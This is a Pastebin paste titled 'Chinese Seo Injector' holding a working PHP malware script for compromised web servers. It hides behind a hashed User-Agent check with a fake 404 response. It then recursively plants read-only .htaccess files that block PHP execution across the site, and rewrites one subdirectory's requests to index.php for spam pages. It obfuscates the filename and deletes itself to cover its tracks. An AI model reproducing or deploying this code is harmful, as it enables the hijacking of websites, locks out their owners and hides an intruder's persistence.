willysec_id

Chinese Seo Injector

Aug 6th, 2024
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.67 KB | Cybersecurity | 0 0
  1. <?php
  2. error_reporting(0);
  3. setTimeLimit(0);
  4. session_start();
  5. ini_set('memory_limit', '-1');
  6. define('UAMD53KEY', '4f7f3da06809dc3d94dacceed40dfaad');
  7.  
  8. if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) != UAMD53KEY){
  9.     header('HTTP/1.1 404 Not Found');
  10.     header("status: 404 Not Found");
  11.     die();
  12. }
  13. function setTimeLimit($intT){
  14.     if(function_exists('set_time_limit')){
  15.         set_time_limit($intT);
  16.     }
  17.   }
  18.  
  19. define('STEP', 2000);
  20. if(!empty($_GET['subdir'])){
  21.     $_SESSION['subdir'] = base64_decode($_GET['subdir']);
  22. }
  23. $count = 0;
  24. $total = empty($_GET['total']) ? 0 : $_GET['total'];
  25. echo "total:".$total;
  26. $GLOBALS['lastPathFound'] = false;
  27.  
  28.  
  29. $content = '<IfModule mod_rewrite.c>
  30. RewriteEngine On
  31. RewriteBase /
  32. RewriteRule ^index.php - [L]
  33. RewriteRule ^.*\.[pP][hH].* - [L]
  34. RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
  35. <FilesMatch "\.(php|php7|phtml|suspected)$">
  36.    Deny from all
  37. </FilesMatch>
  38. </IfModule>';
  39. $md5content = md5($content);
  40. $tempFile = md5($_SERVER["HTTP_HOST"].$_SERVER['SCRIPT_FILENAME']);
  41. define('TEMP_FILE', $tempFile);
  42. define('HT_CONTENT', $content);
  43. define('HT_CONTENT_MD5', $md5content);
  44. file_put_contents(TEMP_FILE, "1");
  45.  
  46. $dir = ".";
  47. $lastPath = empty($_GET['lastPath']) ? "" : base64_decode($_GET["lastPath"]);
  48. echo "lastPath:" . $lastPath . "<br>\n";
  49. $path = formatPath($dir);
  50. $lastPath = formatPath($lastPath);
  51.  
  52. if(file_exists(TEMP_FILE)){
  53.     if(recurDirHt($path, $count, $total, $lastPath)){
  54.         echo "all done!<br>";
  55.         $GLOBALS['lastPath'] = "";
  56.     }
  57.    
  58.     }else{
  59.     echo 'root dir is not writeable, abord!<br>';
  60. }
  61. if(!empty($_SESSION['subdir'])){
  62.     $content2 = '<IfModule mod_rewrite.c>'.
  63.     PHP_EOL.'RewriteEngine On'.
  64.     PHP_EOL.'RewriteBase /'.
  65.     PHP_EOL.'RewriteRule ^(index|wp\-admin|wp\-include|wp\-comment|wp\-loader|wp\-corn\-sample|wp\-logln|output|about|admin|randkeyword|readurl|wp\-ver).php$ - [L]'.
  66.     PHP_EOL.'RewriteRule ^.*\.[pP][hH].* index.php [L]'.
  67.     PHP_EOL.'RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] index.php [L]'.
  68.     PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.
  69.     PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.
  70.     PHP_EOL.'RewriteRule . index.php [L]'.
  71.     PHP_EOL.'</IfModule>';
  72.     file_put_contents_force($_SESSION['subdir'] . DIRECTORY_SEPARATOR . '.ht' . 'access', $content2);
  73. }
  74.  
  75. deletefile($_SERVER['SCRIPT_FILENAME']);
  76. echo 'try to delete :' . $_SERVER['SCRIPT_FILENAME'] . "<br>\n";
  77. echo '<meta http-equiv="refresh" content="0; url=/" />';
  78. die;
  79. function recurDirHt($pathName, &$count, &$total, $lastPath = "")
  80. {
  81.     $lastSubPath = firstSubDir($pathName, $lastPath);
  82.         $result = false;
  83.         if(is_dir($pathName)) {
  84.                 $allFiles = scandir($pathName);
  85.         if(empty($lastSubPath)){
  86.             $GLOBALS['lastPathFound'] = true;
  87.         }
  88.                 foreach($allFiles as $fileName) {
  89.             $fullName = $pathName.'/'.$fileName;
  90.                         if(in_array($fileName, array('.', '..'))) {
  91.                 continue;
  92.             }
  93.             if(is_file($fullName)) {
  94.                 continue;
  95.             }
  96.             if(is_link($fullName)) {
  97.                 continue;
  98.             }
  99.             if($GLOBALS['lastPathFound'] == true || $fileName == $lastSubPath){
  100.                                 if($fileName == $lastSubPath){
  101.                     echo "found: ".$lastSubPath."<br>\n";
  102.                 }
  103.                 if($fullName == $lastPath){
  104.                     $GLOBALS['lastPathFound'] = true;
  105.                     echo "found lastPath".$lastPath."<br>\n";
  106.                 }
  107.                 if($GLOBALS['lastPathFound'] == true){
  108.                     $count++;
  109.                     $total++;
  110.                     $GLOBALS['lastPath'] = $fullName;
  111.                     echo createHt($fullName);
  112.                     if(STEP <= $count){
  113.                        
  114.                         echo 'Last Path is :' . $fullName . "<br>\n";
  115.                         echo '<meta http-equiv="refresh" content="0; url=?total='.$total.'&lastPath='.base64_encode($fullName).'" />';die;
  116.                     }else{
  117.                         echo "progress:".$count."/".$total."<br>\n";
  118.                     }
  119.                 }else{
  120.                     echo 'ignore:' . $fullName . " lastPathFound false!<br>\n";
  121.                 }
  122.                                 if(!is_link($fullName) && is_dir($fullName) && is_readable($fullName)) {
  123.                                         $result = recurDirHt($fullName, $count, $total, $lastPath);
  124.                 }
  125.             }else{
  126.                 echo 'ignore:' . $fullName . "<br>\n";
  127.             }
  128.         }
  129.         $result = true;
  130.     }
  131.     return $result;
  132. }
  133.  
  134. function firstSubDir($path, $lastPath){
  135.     $arrPath = arrPathExplode($path);
  136.     $arrLastPath = arrPathExplode($lastPath);
  137.     foreach($arrLastPath as $k => $v){
  138.         if(!isset($arrPath[$k]) || empty($arrPath[$k])){
  139.             return $v;
  140.         }
  141.     }
  142.     return '';
  143. }
  144.  
  145.  
  146. function arrPathExplode($path){
  147.     $path = formatPath($path);
  148.     $arr = explode('/', $path);
  149.     return $arr;
  150. }
  151.  
  152.  
  153. function formatPath($path){
  154.     $path = str_replace('\\', '/', $path);
  155.     $path = preg_replace("|/+|", '/', $path);
  156.     $path = rtrim($path, '/');
  157.     return $path;
  158. }
  159.  
  160.  
  161. function createHt($path){
  162.     $result = "";
  163.     if(file_exists($path . "/" . TEMP_FILE)){
  164.         $result = $path.'是根目录,放弃执行!因为存在'.$path . "/" . TEMP_FILE.'<br>'."\n";
  165.     }elseif(file_exists($path . "/4c7a17f635a4d887cf587a123b6a6bc4") || file_exists($path . "/.ftpquotas")){
  166.         $result = $path.'是其他网站根目录,放弃执行!<br>'."\n";
  167.     }else{
  168.         $htfile = $path . base64_decode("Ly5odGFjY2Vzcw==");
  169.         file_put_contents_force($htfile, HT_CONTENT);
  170.         chmod($htfile, 0444);
  171.         $thecontent = file_get_contents($path.base64_decode("Ly5odGFjY2Vzcw=="));
  172.         $theContentMd5 = md5($thecontent);
  173.         if($theContentMd5 != HT_CONTENT_MD5){
  174.             $result = $htfile.'更新失败,请联系技术处理!<br>'."\n";
  175.         }else{
  176.             $result = $htfile.' done!<br>'."\n";
  177.         }
  178.     }
  179.     return $result;
  180. }
  181.  
  182. function file_put_contents_force($filename, $content){
  183.     if(is_file($filename)){
  184.         chmod($filename, 0747);
  185.     }
  186.     file_put_contents($filename, $content);
  187. }
  188.  
  189. function deletefile($file){
  190.     unlink($file);
  191.     if(file_exists($file)){
  192.         file_put_contents($file, "");
  193.         echo 'delete failed<br>'."\n";
  194.     }
  195.     if(file_exists($file)){
  196.         rename($file, "/tmp/".md5($file.time()));
  197.         echo 'truncat failed<br>'."\n";
  198.     }
  199.     if(file_exists($file)){
  200.         echo 'move failed<br>'."\n";
  201.     }
  202. }
  203. die("done!");
  204. ?>
Add Comment
Please, Sign In to add comment